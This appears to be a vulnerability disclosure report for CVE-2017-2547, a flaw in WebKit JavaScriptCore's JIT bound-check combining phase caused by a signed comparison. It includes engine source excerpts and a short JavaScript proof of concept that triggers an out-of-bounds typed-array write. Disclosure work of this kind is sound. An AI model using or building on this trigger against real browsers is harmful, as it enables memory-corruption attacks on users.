WebKit JSC Jit Optimization Check Failure

 WebKit: JSC: JIT optimization check failed in IntegerCheckCombiningPhase::handleBlock 

CVE-2017-2547


When compiling Javascript code into machine code, bound checks for all accesses to a typed array are also inserted. These bound checks are re-optimized and the unnecessary checks are removed, which is performed by IntegerCheckCombiningPhase::handleBlock.
For example, when the following JavaScript code is compiled, there are all bound checks for 8, 5, 2, but after the optimization, the checks for 5 and 2 are removed, and the only check for 8 will remain.

function f() {
    let arr = new Uint32Array(10);
    for (let i = 0; i < 0x100000; i++) {
        parseInt();
    }
    arr[8] = 1;
    arr[5] = 2;
    arr[2] = 3;
}

f();

Note: parseInt is for forcing to start the JIT optimization.

Here's a snippet IntegerCheckCombiningPhase::handleBlock.

void handleBlock(BlockIndex blockIndex)
{
    ...
        if (range.m_count) {
            if (data.m_addend > range.m_maxBound) {
                range.m_maxBound = data.m_addend;
                range.m_maxOrigin = node->origin.semantic;
            } else if (data.m_addend < range.m_minBound) {
                range.m_minBound = data.m_addend;
                range.m_minOrigin = node->origin.semantic;
            }
    ...
}

The problem is that the check |data.m_addend > range.m_maxBound| is a signed comparison.

PoC:
function f() {
    let arr = new Uint32Array(10);
    for (let i = 0; i < 0x100000; i++) {
        parseInt();
    }
    arr[8] = 1;
    arr[-0x12345678] = 2;
}

f();



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt